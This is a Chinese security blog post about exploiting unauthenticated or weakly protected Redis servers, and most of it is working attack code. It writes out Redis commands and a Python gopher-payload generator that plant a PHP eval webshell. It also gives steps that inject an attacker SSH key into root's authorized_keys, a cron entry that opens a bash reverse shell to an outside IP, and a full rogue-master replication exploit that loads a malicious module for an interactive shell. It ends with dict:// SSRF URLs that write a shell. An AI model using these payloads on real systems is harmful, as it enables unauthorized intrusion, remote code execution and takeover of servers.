目录

  1. 1. 前言
  2. 2. 利用条件
  3. 3. 写shell
  4. 4. 未授权访问写ssh公钥
  5. 5. 利用contrab计划任务反弹shell
  6. 6. 主从复制RCE
    1. 6.1. 主从复制
    2. 6.2. Redis module
    3. 6.3. 攻击流程
    4. 6.4. 某exp
  7. 7. SSRF
↑

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

Redis漏洞

2024/5/8 Web Redis SSRF
  |     |   总文章阅读量:次

前言

参考:

https://xz.aliyun.com/t/5665

https://cloud.tencent.com/developer/article/1904134

https://cloud.tencent.com/developer/article/1039000


利用条件

能未授权或者能通过弱口令认证等方式访问到 Redis 服务器


写shell

条件:

  • root权限启动redis
  • 需要知道绝对路径
  • 具有文件读写增删改查权限

构造redis命令:

redis-cli -h 127.0.0.1:6379     # 连接Redis
config set dir /var/www/html    # 设置要写入shell的路径
config set dbfilename shell.php
set g1ts "\n\n\n<?php @eval($_GET("cmd"))?>\n\n\n"         # 写入一句话木马到g1ts键
save

转化为redis RESP协议的格式的脚本,一般配合gopher协议使用:

import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

具体攻击过程可参考:ctfshow2025元旦渗透赛 第五章 功亏一篑


未授权访问写ssh公钥

条件:

  • Redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
  • 没有设置密码认证(一般为空),可以免密码远程登录redis服务

先本地产生公私钥文件:

ssh-keygen –t rsa
(echo -e "  "; cat id_rsa.pub; echo -e "  ") > foo.txt
cat foo.txt

把得到的私钥填进payload:(写入的目录不限于 /root/.ssh 下的 authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤)

flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

然后把前面的python脚本改一下:

filename="authorized_keys"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali\n\n"
path="/root/.ssh/"

即可远程利用自己的私钥登录服务器


利用contrab计划任务反弹shell

条件:

只能在 Centos 上使用,Ubuntu 上用不了,原因:

  1. 因为默认 redis 写文件后是 644 的权限,但ubuntu要求执行定时任务文件 /var/spool/cron/crontabs/<username> 权限必须是600也就是 -rw------- 才会执行,否则会报错 (root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件 /var/spool/cron/<username> 权限644也能执行
  2. 因为 redis 保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

由于系统的不同,crontrab定时文件位置也会不同:

  • Centos的定时任务文件在/var/spool/cron/<username>

  • Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>

  • Centos和Ubuntu均存在的(需要root权限)/etc/crontab PS:高版本的redis默认启动是redis权限,故写这个文件是行不通的

payload:

flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

同样修改python脚本:

reverse_ip="192.168.163.132"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"

主从复制RCE

主从复制

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。

前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。

redis 的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主 redis 的数据和从 redis 上的数据保持实时同步,当主 redis 写入数据是就会通过主从复制复制到其它从redis

image-20240509110225719

建立主从复制,有3种方式:(建立主从关系只需要在从节点操作就行了,主节点不用任何操作)

  1. 配置文件写入:slaveof <master_ip> <master_port>
  2. redis-server启动命令后加入:--slaveof <master_ip> <master_port>
  3. 连接到客户端之后执行:slaveof <master_ip> <master_port>

本地测试:

我们先在同一个机器开两个redis实例,一个端口为6379,一个端口为6380

redis-server
redis-server D:\Redis\Redis-x64-5.0.14.1\redis6380.conf

把 master_ip 设置为127.0.0.1,master_port 为6380

redis-cli -p 6379
127.0.0.1:6379> SLAVEOF 127.0.0.1 6380
OK
127.0.0.1:6379> get test
(nil)
127.0.0.1:6379> exit

redis-cli -p 6380
127.0.0.1:6380> get test
(nil)
127.0.0.1:6380> set test "test"
OK
127.0.0.1:6380> get test
"test"
127.0.0.1:6380> exit

redis-cli -p 6379
127.0.0.1:6379> get test
"test"

可以看到数据达到了同步效果,INFO replication 查看当前的主机器信息

如果我们想解除主从关系可以执行 SLAVEOF NO ONE


Redis module

Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能

Redis模块是动态库,可以在启动时或使用 MODULE LOAD 命令加载到 Redis 中,MODULE LIST 查看已加载的模块

恶意so文件: https://github.com/n0b0dyCN/redis-rogue-server

python3 ./redis-rogue-server.py --rhost 192.168.200.38 --lhost 192.168.200.4 --exp ./exp.so 

有两种模式,一种是交互式shell,一种是反弹shell


攻击流程

  1. 配置一个我们需要以 master 身份给 slave 传输 so 文件的服务
PING 测试连接是否可用
+PONG 告诉slave连接可用
REPLCONF 发送REPLCONF信息,主要是当前实例监听端口
+OK 告诉slave成功接受
REPLCONF 发送REPLCONF capa
+OK 告诉slave成功接受
PSYNC <rundi> <offest> 发送PSYNC
  1. 将要攻击的 redis 服务器设置成我们的 slave
SLAVEOF ip port
  1. 设置 RDB 文件(注意以下exp.so是不能包含路径的,如果需要设置成其它目录请用 config set dir path)
config set dbfilename exp.so
  1. 告诉 slave 使用全量复制并从我们配置的 Rouge Server 接收 module(其中 <runid> 无要求,不过长度一般为40,<offest> 一般设置为1)
+FULLRESYNC <runid> <offest>\r\n$<len(payload)>\r\n<payload>

某exp

import socket
import time

CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"

def redis_format(arr):
    global CRLF
    global payload
    redis_arr=arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len(x))+CRLF+x
    cmd+=CRLF
    return cmd

def redis_connect(rhost,rport):
    sock=socket.socket()
    sock.connect((rhost,rport))
    return sock

def send(sock,cmd):
    sock.send(redis_format(cmd))
    print(sock.recv(1024).decode("utf-8"))

def interact_shell(sock):
    flag=True
    try:
        while flag:
            shell=raw_input("\033[1;32;40m[*]\033[0m ")
            shell=shell.replace(" ","${IFS}")
            if shell=="exit" or shell=="quit":
                flag=False
            else:
                send(sock,"system.exec {}".format(shell))
    except KeyboardInterrupt:
        return


def RogueServer(lport):
    global CRLF
    global payload
    flag=True
    result=""
    sock=socket.socket()
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    clientSock, address = sock.accept()
    while flag:
        data = clientSock.recv(1024)
        if "PING" in data:
            result="+PONG"+CRLF
            clientSock.send(result)
            flag=True
        elif "REPLCONF" in data:
            result="+OK"+CRLF
            clientSock.send(result)
            flag=True
        elif "PSYNC" in data or "SYNC" in data:
            result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
            result += "$" + str(len(payload)) + CRLF
            result = result.encode()
            result += payload
            result += CRLF
            clientSock.send(result)
            flag=False

if __name__=="__main__":
    lhost="192.168.163.132"
    lport=6666
    rhost="192.168.163.128"
    rport=6379
    passwd=""
    redis_sock=redis_connect(rhost,rport)
    if passwd:
        send(redis_sock,"AUTH {}".format(passwd))
    send(redis_sock,"SLAVEOF {} {}".format(lhost,lport))
    send(redis_sock,"config set dbfilename {}".format(exp_filename))
    time.sleep(2)
    RogueServer(lport)
    send(redis_sock,"MODULE LOAD ./{}".format(exp_filename))
    interact_shell(redis_sock)

SSRF

  • root启用redis
  • 目标机存在dict协议
  • 知道网站绝对路径

假设ssrf的点在ssrf.php

ssrf.php?var=dict://192.168.200.38:6379/flushall 

验证登录:

ssrf.php?url=dict://192.168.200.38:6379/auth:password

主从复制写入

ssrf.php?url=dict://192.168.200.38:6379/slaveof:192.168.200.4:6379

设置保存目录

ssrf.php?url=dict://192.168.200.38:6379/config:set:dir:/var/www/html 

设置保存文件名称

ssrf.php?url=dict://192.168.200.38:6379/config:set:dbfilename:shell.php 

本地写文件:

redis-cli
set g1ts "\n\n\n<?php phpinfo() ;?>\n\n\n" 

远程保存:

ssrf.php?url=dict://192.168.200.38:6379/save 

切断主从复制:

ssrf.php?url=dict://192.168.200.38:6379/slaveof:no:one